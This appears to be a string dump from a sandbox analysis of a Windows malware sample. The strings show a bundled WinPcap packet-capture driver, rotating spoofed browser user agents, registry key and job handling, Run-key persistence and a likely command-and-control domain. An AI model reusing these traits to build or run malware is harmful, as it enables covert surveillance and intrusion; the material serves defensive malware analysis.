WINMM.dll

_wcmdln

MSVCRT

KERNEL32.dll

GDI32.dll

1, 0, 0, 1

record.exe

Play "sound.wav

temp833429690.exe_628_rwx_00910000_00005000:

PSSSSSSh

%c>e)

temp833429690.exe_1884:

FTPQ

PSSSSSSh

FTPS

D$0h%SH

~$)~()|$

3|$83|$0

3|$

3|$@3|$4

.QZ^&

vSSSh

FTPjK

FtPj;

C.PjRV

tGHt.Ht&

Local\{C15730E2-145C-4c5e-B005-3BC753F42475}-once-flag

Can't terminate a sub-expression with an alternation operator |.

A regular expression can start with the alternation operator |.

Alternation operators are not allowed inside a DEFINE block.

More than one alternation operator | was encountered inside a conditional expression.

A repetition operator cannot be applied to a zero-width assertion.

Invalid alternation operators within (?...) block.

The \c and \C escape sequences are not supported by POSIX basic regular expressions: try the Perl syntax instead.

Found a closing repetition operator } with no corresponding {.

The repeat operator " " cannot start a regular expression.

The repeat operator "?" cannot start a regular expression.

The repeat operator "*" cannot start a regular expression.

right-curly-bracket

left-curly-bracket

0123456789

Unmatched quantified repeat operator { or \{.

Invalid preceding regular expression prior to repetition operator.

1.2.5

boost::filesystem::directory_iterator::operator

Visual C CRT: Not enough memory to complete call to strerror.

Please contact the application's support team for more information.

- Attempt to initialize the CRT more than once.

- CRT not initialized

- floating point support not loaded

portuguese-brazilian

Broken pipe

Inappropriate I/O control operation

Operation not permitted

operator

GetProcessWindowStation

USER32.DLL

login

Mozilla/5.0 (Windows NT 5.1) Gecko/20100101 Firefox/14.0 Opera/12.0

Opera/9.80 (Windows NT 5.1; U; zh-sg) Presto/2.9.181 Version/12.00

Opera/9.80 (Windows NT 6.1; U; es-ES) Presto/2.9.181 Version/12.00

Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.0) Opera 12.14

Mozilla/5.0 (Windows NT 6.0; rv:2.0) Gecko/20100101 Firefox/4.0 Opera 12.14

Opera/9.80 (Windows NT 6.0) Presto/2.12.388 Version/12.14

Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_7; da-dk) AppleWebKit/533.21.1 (KHTML, like Gecko) Version/5.0.5 Safari/533.21.1

Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_8; de-at) AppleWebKit/533.21.1 (KHTML, like Gecko) Version/5.0.5 Safari/533.21.1

Mozilla/5.0 (iPad; CPU OS 5_1 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko ) Version/5.1 Mobile/9B176 Safari/7534.48.3

Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_3) AppleWebKit/534.55.3 (KHTML, like Gecko) Version/5.1.3 Safari/534.53.10

Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/537.13 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2

Mozilla/5.0 (iPad; CPU OS 6_0 like Mac OS X) AppleWebKit/536.26 (KHTML, like Gecko) Version/6.0 Mobile/10A5355d Safari/8536.25

Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; chromeframe/12.0.742.112)

Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; Media Center PC 6.0; InfoPath.3; MS-RTC LM 8; Zune 4.7)

Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 7.1; Trident/5.0)

Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)

Mozilla/1.22 (compatible; MSIE 10.0; Windows 3.1)

Mozilla/4.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/5.0)

Mozilla/5.0 (compatible; MSIE 10.0; Macintosh; Intel Mac OS X 10_7_3; Trident/6.0)

Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/4.0; InfoPath.2; SV1; .NET CLR 2.0.50727; WOW64)

Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/5.0)

Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)

Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)

Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:21.0) Gecko/20100101 Firefox/21.0

Mozilla/5.0 (Windows NT 5.0; rv:21.0) Gecko/20100101 Firefox/21.0

Mozilla/5.0 (Windows NT 5.1; rv:21.0) Gecko/20100101 Firefox/21.0

Mozilla/5.0 (Windows NT 5.1; rv:21.0) Gecko/20130331 Firefox/21.0

Mozilla/5.0 (Windows NT 5.1; rv:21.0) Gecko/20130401 Firefox/21.0

Mozilla/5.0 (Windows NT 6.1; rv:21.0) Gecko/20100101 Firefox/21.0

Mozilla/5.0 (Windows NT 6.1; rv:21.0) Gecko/20130328 Firefox/21.0

Mozilla/5.0 (Windows NT 6.1; rv:21.0) Gecko/20130401 Firefox/21.0

Mozilla/5.0 (Windows NT 6.1; WOW64; rv:21.0) Gecko/20100101 Firefox/21.0

Mozilla/5.0 (Windows NT 6.1; WOW64; rv:21.0) Gecko/20130330 Firefox/21.0

Mozilla/5.0 (Windows NT 6.1; WOW64; rv:21.0) Gecko/20130331 Firefox/21.0

Mozilla/5.0 (Windows NT 6.1; WOW64; rv:21.0) Gecko/20130401 Firefox/21.0

Mozilla/5.0 (Windows NT 6.2; rv:21.0) Gecko/20130326 Firefox/21.0

Mozilla/5.0 (X11; Linux i686; rv:21.0) Gecko/20100101 Firefox/21.0

Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:21.0) Gecko/20100101 Firefox/21.0

Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:21.0) Gecko/20130331 Firefox/21.0

Mozilla/5.0 (Windows NT 6.1; rv:22.0) Gecko/20130405 Firefox/22.0

Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:22.0) Gecko/20130328 Firefox/22.0

Mozilla/5.0 (Windows NT 6.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1464.0 Safari/537.36

Mozilla/5.0 (Windows NT 6.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1467.0 Safari/537.36

Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1468.0 Safari/537.36

Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/29.0.1547.2 Safari/537.36

Mozilla/5.0 (compatible; MSIE 9.0; AOL 9.7; AOLBuild 4343.19; Windows NT 6.1; WOW64; Trident/5.0; FunWebProducts)

Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Acoo Browser 1.98.744; .NET CLR 3.5.30729)

asio.misc

asio.misc error

thread.entry_event

thread.exit_event

255.255.255.255

0.0.0.0

127.0.0.1

%d.%m.%Y %H:%M:%S

%a, %d %b %Y %H:%M:%S GMT

(3-!0,1'8"5.*2$

.text

h.rdata

H.data

.rsrc

B.reloc

DriverEntry: TCP-IP not found, quitting.

DriverEntry: Adapters not found in the registry, try to copy the bindings of TCP-IP.

DriverEntry: OS Version: %d.%d

Device %d = %ws

Status of %x querying key value

Status of %x querying key value for size

OpenKey Failed, %d!

Key name=%ws

Status of %x opening %ws

Mac %u = %ws

Tcpip bind value not REG_MULTI_SZ but %u

Querying key value result len = %u but previous len = %u

IoCreateDevice status = %x

NPF_IoControl: BIOCQUERYOID completed, BytesWritten = %u

NPF_IoControl: Bogus return from NdisRequest (query): Bytes Written (%u) > InfoBufferLength (%u)!!

NPF_IoControl: BIOCSETOID completed, BytesRead = %u

NPF_IoControl: Error installing the BPF filter. The filter contains TME extensions, not supported on 64bit platforms.

NPF_IoControl: Operative instructions=%u

KeGetCurrentIrql() == PASSIVE_LEVEL

e:\releases\winpcap_4_1_0_1753\winpcap\packetntx\driver\openclos.c

NPF_Open: Opened Instances: %u

NPF_Open: Opened the device, Status=%x

NPF_Cleanup: Opened Instances: %u

Received on CPU %d

HeaderBufferSize=%u, LookAheadBuffer=%p, LookaheadBufferSize=%u, PacketSize=%u

NPF_Write: Max frame size = %u, packet size = %u

NPF_Write: Another Send operation is in progress, aborting.

NPF: BufferedWrite, UserBuff=%p, Size=%u

e:\releases\winpcap_4_1_0_1753\winpcap\packetntx\driver\bin\i386\npf.pdb

ZwQueryValueKey

ZwEnumerateKey

ZwOpenKey

ntoskrnl.exe

HAL.dll

NDIS.SYS

0$0)02090

hXXp://ocsp.verisign.com0

"hXXp://crl.verisign.com/tss-ca.crl0

Thawte Certification1

0hXXp://crl.verisign.com/ThawteTimestampingCA.crl0

.Class 3 Public Primary Certification Authority0

2Terms of use at hXXps://VVV.verisign.com/rpa (c)041.0,

hXXps://VVV.verisign.com/rpa01

hXXp://crl.verisign.com/pca3.crl0

.Class 3 Public Primary Certification Authority

/hXXp://CSC3-2004-crl.verisign.com/CSC3-2004.crl0D

hXXps://VVV.verisign.com/rpa0

hXXp://ocsp.verisign.com0?

3hXXp://CSC3-2004-aia.verisign.com/CSC3-2004-aia.cer0

DhXXp://crl.microsoft.com/pki/crl/products/MicrosoftCodeVerifRoot.crl0

n.aAHu

`.rdata

@.data

@.reloc

L$.Qf

mscoree.dll

.mixcrt

KERNEL32.DLL

kernel32.dll

@(#) $Header: /tcpdump/master/libpcap/scanner.l,v 1.110.2.2 2008/02/06 10:21:47 guy Exp $ (LBL)

@(#) $Header: /tcpdump/master/libpcap/savefile.c,v 1.168.2.10 2008-10-06 15:38:39 gianluca Exp $ (LBL)

@(#) $Header: /tcpdump/master/libpcap/pcap.c,v 1.112.2.12 2008-09-22 20:16:01 guy Exp $ (LBL)

4.1.1

WinPcap version %s, based on %s

WinPcap version %s (packet.dll version %s), based on %s

@(#) $Header: /tcpdump/master/libpcap/pcap-win32.c,v 1.34.2.8 2008-05-21 22:11:26 gianluca Exp $ (LBL)

@(#) $Header: /tcpdump/master/libpcap/optimize.c,v 1.90.2.1 2008/01/02 04:22:16 guy Exp $ (LBL)

@(#) $Header: /tcpdump/master/libpcap/nametoaddr.c,v 1.82.2.1 2008/02/06 10:21:47 guy Exp $ (LBL)

@(#) $Header: /tcpdump/master/libpcap/inet.c,v 1.75.2.4 2008-04-20 18:19:24 guy Exp $ (LBL)

@(#) $Header: /tcpdump/master/libpcap/grammar.y,v 1.99.2.2 2007/11/18 02:04:55 guy Exp $ (LBL)

$$$88$$$8

"#-./0123

@(#) $Header: /tcpdump/master/libpcap/gencode.c,v 1.290.2.16 2008-09-22 20:16:01 guy Exp $ (LBL)

@(#) $Header: /tcpdump/master/libpcap/fad-win32.c,v 1.15 2007/09/25 20:34:36 guy Exp $ (LBL)

@(#) $Header: /tcpdump/master/libpcap/etherent.c,v 1.23 2006/10/04 18:09:22 guy Exp $ (LBL)

@(#) $Header: /tcpdump/master/libpcap/bpf_image.c,v 1.27.2.1 2008/01/02 04:22:16 guy Exp $ (LBL)

@(#) $Header: /tcpdump/master/libpcap/bpf/net/bpf_filter.c,v 1.45.2.1 2008/01/02 04:22:16 guy Exp $ (LBL)

@(#) $Header: /tcpdump/master/libpcap/bpf_dump.c,v 1.14.4.1 2008/01/02 04:22:16 guy Exp $ (LBL)

%u %u %u %u

{ 0x%x, %d, %d, 0xx },

[x %d]

#0x%x

4*([%d]&0xf)

M[%d]

(d) %-8s %-16s jt %d

jf %d

(d) %-8s %s

malloc: %s

PacketGetAdapterNames: %s

pcap_compile cannot generate filters for a TurboCap port when the PPI linktype is used.

unknown data link type %d

unsupported protocol over mpls

IEEE 802.15.4 link-layer type filtering not implemented

'tcp' modifier applied to %s

'sctp' modifier applied to %s

'udp' modifier applied to %s

'icmp' modifier applied to %s

'igmp' modifier applied to %s

'igrp' modifier applied to %s

'pim' modifier applied to %s

'vrrp' modifier applied to %s

'icmp6' modifier applied to %s

'ah' modifier applied to %s

'esp' modifier applied to %s

'esis' modifier applied to %s

'isis' modifier applied to %s

'clnp' modifier applied to %s

'stp' modifier applied to %s

'netbeui' modifier applied to %s

'radio' modifier applied to %s

'ip' modifier applied to ip6 %s

'rarp' modifier applied to ip6 %s

'arp' modifier applied to ip6 %s

'decnet' modifier applied to ip6 %s

unknown ip proto '%s'

unknown ether proto '%s'

unknown osi proto '%s'

'protochain' not supported with 802.11

unsupported proto to gen_protochain

'udp proto' is bogus

'tcp proto' is bogus

unknown network '%s'

unknown ether host '%s'

unknown FDDI host '%s'

unknown token ring host '%s'

unknown 802.11 host '%s'

unknown Fibre Channel host '%s'

only ethernet/FDDI/token ring/802.11/ATM LANE/Fibre Channel supports link-level host name

unknown host '%s'

unknown host '%s'%s

illegal qualifier of 'port'

unknown port '%s'

port '%s' is tcp

port '%s' is sctp

port '%s' is udp

illegal qualifier of 'portrange'

unknown port in range '%s'

port in range '%s' is tcp

port in range '%s' is sctp

port in range '%s' is udp

'gateway' not supported in this configuration

unknown protocol: %s

non-network bits set in "%s mask %s"

non-network bits set in "%s/%d"

invalid ip6 address %s

%s resolved to multiple address

mask length must be

ethernet addresses supported only on ethernet/FDDI/token ring/802.11/ATM LANE/Fibre Channel

unsupported index operation

IPv6 upper-layer protocol is not supported by proto[x]

only link-layer/IP broadcast filters supported

link-layer multicast filters supported only on ethernet/FDDI/token ring/ARCNET/802.11/ATM LANE/Fibre Channel

inbound/outbound not supported on linktype %d

libpcap was compiled without pf support

libpcap was compiled on a machine without pf support

802.11 link-layer types supported only on 802.11

frame direction supported only with 802.11 headers

aid supported only on ARCnet

no VLAN support for data link type %d

no MPLS support for data link type %d

'vpi' supported only on raw ATM

'vci' supported only on raw ATM

'callref' supported only on raw ATM

'metac' supported only on raw ATM

'bcc' supported only on raw ATM

'oam4sc' supported only on raw ATM

'oam4ec' supported only on raw ATM

'sc' supported only on raw ATM

'ilmic' supported only on raw ATM

'lane' supported only on raw ATM

'llc' supported only on raw ATM

'fisu' supported only on MTP2

'lssu' supported only on MTP2

'msu' supported only on MTP2

'sio' supported only on SS7

sio value %u too big; max value = 255

'opc' supported only on SS7

opc value %u too big; max value = 16383

'dpc' supported only on SS7

dpc value %u too big; max value = 16383

'sls' supported only on SS7

sls value %u too big; max value = 15

'oam' supported only on raw ATM

'oamf4' supported only on raw ATM

'connectmsg' supported only on raw ATM

'metaconnect' supported only on raw ATM

'port' modifier applied to ip host

'portrange' modifier applied to ip host

%d-%d

%d.%d

malformed decnet address '%s'

decnet name support not included, '%s' cannot be translated

%s for block-local relative jump: off=%d

malloc() failed: %s

%s '%s' %s

Error when listing files: does folder '%s' exist?

%s '%s' %s %s

[%[1234567890:.]]:%[^/]/%s

[%[1234567890:.]]/%s

%[^/:]:%[^/]/%s

%[^/]/%s

Source type not supported

getaddrinfo() %s

(%s) and not (host %s and host %s and port %s and port %s) and not (host %s and host %s and port %s)

not (host %s and host %s and port %s and port %s) and not (host %s and host %s and port %s)

TcApi.dll

TcQueryPortList

TcFreePortList

TcPortGetName

TcPortGetDescription

TcPacketsBufferCreate

TcPacketsBufferDestroy

TcPacketsBufferQueryNextPacket

TcPacketsBufferCommitNextPacket

Error opening TurboCap adapter: %s

Error enabling reception on a TurboCap instance: %s

Error setting the read timeout a TurboCap instance: %s

Getting the non blocking status is not available for TurboCap ports

Setting the non blocking status is not available for TurboCap ports

send error: the TurboCap API does not support packets larger than 64k

send error: TcPacketsBufferCreate failure: %s (x)

send error: TcInstanceTransmitPackets failure: %s (x)

send error: TcPacketsBufferCommitNextPacket failure: %s (x)

read error, TcInstanceReceivePackets failure: %s (x)

read error, TcPacketsBufferQueryNextPacket failure: %s (x)

TurboCap error setting the mintocopy: %s (x)

Mode %u not supported by TurboCap devices. TurboCap only supports capture.

TurboCap error in TcInstanceQueryStatistics: %s (x)

TurboCap error in TcStatisticsQueryValue: %s (x)

setfilter, unable to install the filter: %s

PacketGetStats error: %s

Error opening adapter: %s

Cannot determine the network type: %s

Error calling PacketSetMinToCopy: %s

Driver error: cannot set bpf filter: %s

PacketSetReadTimeout: %s

IEEE 802.15.4 with non-ASK PHY data

Bluetooth HCI UART transport layer plus pseudo-header

IEEE 802.15.4

IEEE 802.15.4 with Linux padding

Bluetooth HCI UART transport layer

Juniper Passive Monitor PIC

can't perform operation on activated capture

%s: %s

%s is not one of the DLTs supported by this device

DLT %d is not one of the DLTs supported by this device

That device doesn't support promiscuous mode

That device doesn't support monitor mode

That operation is supported only in monitor mode

Unknown error: %d

Sending packets isn't supported on savefiles

Setting direction is not supported on savefiles

error reading dump file: %s

truncated dump file; tried to read %u captured bytes, only got %lu

Can't write to %s: %s

%s: link-layer type %d isn't supported in savefiles

bogus IPv6 address %s

bogus ethernet address %s

illegal token: %s

illegal char '%c'

%sUnable to get the exact error message

%s%s (code %d)

%s (code %d)

Is the server properly installed on %s? connect() failed: %s

getaddrinfo(): socket type not supported

getaddrinfo(): multicast addresses are not valid when using TCP streams

Cannot retrieve the extended statistics from a file or a TurboCap port

PacketGetStatsEx error: %s

Cannot transmit a queue to an offline capture or to a TurboCap port

Impossible to set user buffer while reading from a file or on a TurboCap port

Error: invalid size %d

live dump needs a physical interface supported by the NPF driver

wrong interface type. A physical interface supported by the NPF driver is needed

e:\releases\winpcap_4_1_0_1753\winpcap\wpcap\PRJ\Release\x86\wpcap.pdb

WS2_32.dll

packet.dll

KERNEL32.dll

GetProcessHeap

GetCPInfo

GetConsoleOutputCP

wpcap.dll

> >$>(>,>

: :$:(:,:0:4:

7*848=8`8

?'?,?0?4?]?

3 3

.Xa6(

Export

system32\drivers\NPF.sys

SYSTEM\CurrentControlSet\Services\%s

\\.\%s

\\.\Global\%s

npp\ndisnpp.dll

e:\releases\winpcap_4_1_0_1753\winpcap\packetNtx\Dll\Project\Release\x86\Packet.pdb

VERSION.dll

NPPTools.dll

iphlpapi.dll

RegOpenKeyExW

RegCloseKey

RegEnumKeyW

RegOpenKeyExA

ADVAPI32.dll

ole32.dll

1"1 141;1

435:5`5|5

0&10191\1

9.:4:8:<:>

= =@=`=|=

: this object doesn't support resynchronization

StreamTransformation: this object doesn't support random access

CryptoMaterial: this object does not support precomputation

GeneratableCryptoMaterial: this object does not support key/parameter generation

PK_MessageEncodingMethod: this signature scheme does not support message recovery

/index.html

HTTP/1.1

text/html; charset=windows-1251

The requested URL

HTTP/1.1

Clean up all keys.

Use next keys:

REG keys[

Use REG keys:

Gen new port key!

Gen new job key!

Gen new list key!

/dev/index.html

No i key:

No m key:

No p key:

No j key:

No r key:

Err in ID key: decr:

Err in ID key: check

Err in ID key: invalid

goloduha.info

Check Compromzed REG key:

Compromzed REG key:

C:\boost\include\boost-1_47\boost/exception/detail/exception_ptr.hpp

Keys3

Appkey

SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall

webscanx

hkcmd

firefox

em_exec

CrashReport

\tmp.exe

*.exe

explorer.exe

SOFTWARE\Microsoft\Windows\CurrentVersion\Run

Mozilla/5.0 (Windows; U; Windows NT

; rv:1.9.2.17) Gecko/20110420 Firefox/3.6.17

SMTP:

%d.%d.%d.%d

!#$%&'* -/=?^_`{|}~

.in-addr.arpa

: Maximum attempts exeeded

%s, %d %s %d d:d:d %cdd

Summary

Dynamic Analysis

Removals

Static Analysis

Network Activity

Map

Strings from Dumps